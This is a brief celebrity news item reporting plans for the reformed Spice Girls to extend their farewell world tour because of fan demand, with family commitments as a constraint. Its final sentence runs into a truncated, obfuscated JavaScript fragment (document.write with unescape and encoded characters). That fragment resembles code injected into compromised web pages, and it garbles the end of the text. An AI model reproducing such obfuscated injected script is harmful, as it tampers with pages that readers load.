Spice Girls extend tour

Reformed pop group the Spice Girls are set to extend their forthcoming world tour to add another 25 dates to their schedule, according to reports.

The Nineties pop sensations - who originally split in 2001 - have already announced 11 gigs across the world, starting in Los Angeles on 7 December and ending in Buenos Aires on 24 January.

Plans for an additional 14 concerts are currently being finalised, but their manager Simon Fuller is keen for the girls to make the most of their official farewell tour and has suggested they play a 50-date world tour instead - if they can juggle family commitments.

A source tells The Sun newspaper, "The girls really want to do a huge tour but they're worried about how much time they'll be able to commit to it because of their families.

"It's going to be a huge commitment for the girls, who are extremely devoted to their families. But they are overwhelmed by the world-wide response from their fans and don't want to let them down."

Victoria Beckham (Posh Spice), Melanie Brown (Scary Spice) and Geri Halliwell (Ginger Spice) all have young children, while Baby Spice Emma Bunton is expecting her first child in August (07).document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
